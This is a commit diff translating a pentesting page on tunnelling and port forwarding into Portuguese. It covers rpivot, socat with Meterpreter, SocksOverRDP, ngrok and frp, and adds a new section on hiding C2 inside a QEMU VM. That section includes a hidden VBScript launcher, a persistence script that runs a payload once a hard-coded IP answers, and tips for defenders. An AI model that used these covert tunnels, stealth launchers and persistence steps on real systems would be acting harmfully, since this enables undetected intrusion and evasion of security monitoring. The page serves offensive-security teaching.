Translated ['src/generic-hacking/tunneling-and-port-forwarding.md'] to p

This commit is contained in:
Translator 2025-07-19 02:42:15 +00:00
parent a44d95fb8f
commit fef9116d3c

View File

@ -156,9 +156,9 @@ rportfwd stop [bind port]
```
Para notar:
- O **reverso de porta do Beacon** é projetado para **túnel de tráfego para o Servidor da Equipe, não para retransmitir entre máquinas individuais**.
- O encaminhamento de porta reverso do Beacon é projetado para **túnel de tráfego para o Servidor da Equipe, não para retransmitir entre máquinas individuais**.
- O tráfego é **tuneado dentro do tráfego C2 do Beacon**, incluindo links P2P.
- **Privilégios de administrador não são necessários** para criar reversos de porta em portas altas.
- **Privilégios de administrador não são necessários** para criar encaminhamentos de porta reversos em portas altas.
### rPort2Port local
@ -250,7 +250,7 @@ attacker> python server.py --server-port 9999 --server-ip 0.0.0.0 --proxy-ip 127
```bash
victim> python client.py --server-ip <rpivot_server_ip> --server-port 9999
```
Fazer pivot através do **NTLM proxy**
Pivotar através do **NTLM proxy**
```bash
victim> python client.py --server-ip <rpivot_server_ip> --server-port 9999 --ntlm-proxy-ip <proxy_ip> --ntlm-proxy-port 8080 --domain CONTOSO.COM --username Alice --password P@ssw0rd
```
@ -280,7 +280,7 @@ socat TCP4-LISTEN:<lport>,fork TCP4:<redirect_ip>:<rport> &
```bash
socat TCP4-LISTEN:1234,fork SOCKS4A:127.0.0.1:google.com:80,socksport=5678
```
### Meterpreter através de SSL Socat
### Meterpreter através do SSL Socat
```bash
#Create meterpreter backdoor to port 3333 and start msfconsole listener in that port
attacker> socat OPENSSL-LISTEN:443,cert=server.pem,cafile=client.crt,reuseaddr,fork,verify=1 TCP:127.0.0.1:3333
@ -356,7 +356,7 @@ No seu computador cliente, carregue **`SocksOverRDP-Plugin.dll`** assim:
# Load SocksOverRDP.dll using regsvr32.exe
C:\SocksOverRDP-x64> regsvr32.exe SocksOverRDP-Plugin.dll
```
Agora podemos **conectar** à **vítima** via **RDP** usando **`mstsc.exe`**, e devemos receber um **prompt** informando que o **plugin SocksOverRDP está habilitado**, e ele irá **escutar** em **127.0.0.1:1080**.
Agora podemos **conectar** à **vítima** via **RDP** usando **`mstsc.exe`**, e devemos receber um **prompt** dizendo que o **plugin SocksOverRDP está habilitado**, e ele irá **escutar** em **127.0.0.1:1080**.
**Conecte-se** via **RDP** e faça o upload e execute no computador da vítima o binário `SocksOverRDP-Server.exe`:
```
@ -394,7 +394,7 @@ Domain CONTOSO.COM
Proxy 10.0.0.10:8080
Tunnel 2222:<attackers_machine>:443
```
Agora, se você configurar, por exemplo, no alvo, o serviço **SSH** para escutar na porta 443. Você pode se conectar a ele através da porta 2222 do atacante.\
Agora, se você configurar, por exemplo, o serviço **SSH** na vítima para escutar na porta 443. Você pode se conectar a ele através da porta 2222 do atacante.\
Você também poderia usar um **meterpreter** que se conecta a localhost:443 e o atacante está escutando na porta 2222.
## YARP
@ -444,7 +444,7 @@ listen [lhost:]lport rhost:rport #Ex: listen 127.0.0.1:8080 10.0.0.20:80, this b
```
#### Mudar o DNS do proxychains
Proxychains intercepta a chamada `gethostbyname` da libc e encaminha a solicitação de DNS tcp através do proxy socks. Por **padrão**, o servidor **DNS** que o proxychains usa é **4.2.2.2** (codificado). Para mudá-lo, edite o arquivo: _/usr/lib/proxychains3/proxyresolv_ e altere o IP. Se você estiver em um **ambiente Windows**, pode definir o IP do **controlador de domínio**.
Proxychains intercepta a chamada `gethostbyname` da libc e encaminha a solicitação de DNS tcp através do proxy socks. Por **padrão**, o servidor **DNS** que o proxychains usa é **4.2.2.2** (hardcoded). Para mudá-lo, edite o arquivo: _/usr/lib/proxychains3/proxyresolv_ e altere o IP. Se você estiver em um **ambiente Windows**, pode definir o IP do **controlador de domínio**.
## Túneis em Go
@ -498,7 +498,7 @@ chmod a+x ./ngrok
**Documentação:** [https://ngrok.com/docs/getting-started/](https://ngrok.com/docs/getting-started/).
_Também é possível adicionar autenticação e TLS, se necessário._
_É também possível adicionar autenticação e TLS, se necessário._
#### Tunneling TCP
```bash
@ -513,12 +513,12 @@ _Também é possível adicionar autenticação e TLS, se necessário._
./ngrok http file:///tmp/httpbin/
# Example of resulting link: https://abcd-1-2-3-4.ngrok.io/
```
#### Captura de chamadas HTTP
#### Capturando chamadas HTTP
_Util útil para XSS, SSRF, SSTI ..._\
_Utilizado para XSS, SSRF, SSTI ..._\
Diretamente do stdout ou na interface HTTP [http://127.0.0.1:4040](http://127.0.0.1:4000).
#### Tunelamento de serviço HTTP interno
#### Tunelando serviço HTTP interno
```bash
./ngrok http localhost:8080 --host-header=rewrite
# Example of resulting link: https://abcd-1-2-3-4.ngrok.io/
@ -608,9 +608,67 @@ ssh -R :80:127.0.0.1:8080 v0@attacker_ip -p 2200 tcp --proxy_name web --remote_p
```
O comando acima publica a porta da vítima **8080** como **attacker_ip:9000** sem implantar nenhuma ferramenta adicional ideal para pivotar vivendo da terra.
## Túneis encobertos baseados em VM com QEMU
A rede em modo usuário do QEMU (`-netdev user`) suporta uma opção chamada `hostfwd` que **vincula uma porta TCP/UDP no *host* e a encaminha para o *guest***. Quando o guest executa um daemon SSH completo, a regra hostfwd fornece a você uma caixa de salto SSH descartável que vive inteiramente dentro de uma VM efêmera perfeita para ocultar o tráfego C2 do EDR, pois toda atividade e arquivos maliciosos permanecem no disco virtual.
### Linha de comando rápida
```powershell
# Windows victim (no admin rights, no driver install portable binaries only)
qemu-system-x86_64.exe ^
-m 256M ^
-drive file=tc.qcow2,if=ide ^
-netdev user,id=n0,hostfwd=tcp::2222-:22 ^
-device e1000,netdev=n0 ^
-nographic
```
• O comando acima inicia uma imagem **Tiny Core Linux** (`tc.qcow2`) na RAM.
• A porta **2222/tcp** no host Windows é encaminhada de forma transparente para **22/tcp** dentro do convidado.
• Do ponto de vista do atacante, o alvo simplesmente expõe a porta 2222; quaisquer pacotes que a alcancem são tratados pelo servidor SSH em execução na VM.
### Lançando de forma furtiva através do VBScript
```vb
' update.vbs lived in C:\ProgramData\update
Set o = CreateObject("Wscript.Shell")
o.Run "stl.exe -m 256M -drive file=tc.qcow2,if=ide -netdev user,id=n0,hostfwd=tcp::2222-:22", 0
```
Executar o script com `cscript.exe //B update.vbs` mantém a janela oculta.
### Persistência em convidado
Como o Tiny Core é sem estado, os atacantes geralmente:
1. Colocam o payload em `/opt/123.out`
2. Adicionam ao `/opt/bootlocal.sh`:
```sh
while ! ping -c1 45.77.4.101; do sleep 2; done
/opt/123.out
```
3. Adicionam `home/tc` e `opt` ao `/opt/filetool.lst` para que o payload seja empacotado em `mydata.tgz` ao desligar.
### Por que isso evita a detecção
• Apenas dois executáveis não assinados (`qemu-system-*.exe`) acessam o disco; nenhum driver ou serviço é instalado.
• Produtos de segurança no host veem **tráfego de loopback benigno** (o C2 real termina dentro da VM).
• Scanners de memória nunca analisam o espaço do processo malicioso porque ele vive em um sistema operacional diferente.
### Dicas para o Defender
• Alerta sobre **binários inesperados do QEMU/VirtualBox/KVM** em caminhos graváveis pelo usuário.
• Bloquear conexões de saída que se originam de `qemu-system*.exe`.
• Caçar por portas de escuta raras (2222, 10022, …) que se vinculam imediatamente após um lançamento do QEMU.
---
## Outras ferramentas para verificar
- [https://github.com/securesocketfunneling/ssf](https://github.com/securesocketfunneling/ssf)
- [https://github.com/z3APA3A/3proxy](https://github.com/z3APA3A/3proxy)
- [https://github.com/securesocketfunneling/ssf](https://github.com/securesocketfunneling/ssf)
- [https://github.com/z3APA3A/3proxy](https://github.com/z3APA3A/3proxy)
## Referências
- [Hiding in the Shadows: Covert Tunnels via QEMU Virtualization](https://trustedsec.com/blog/hiding-in-the-shadows-covert-tunnels-via-qemu-virtualization)
{{#include ../banners/hacktricks-training.md}}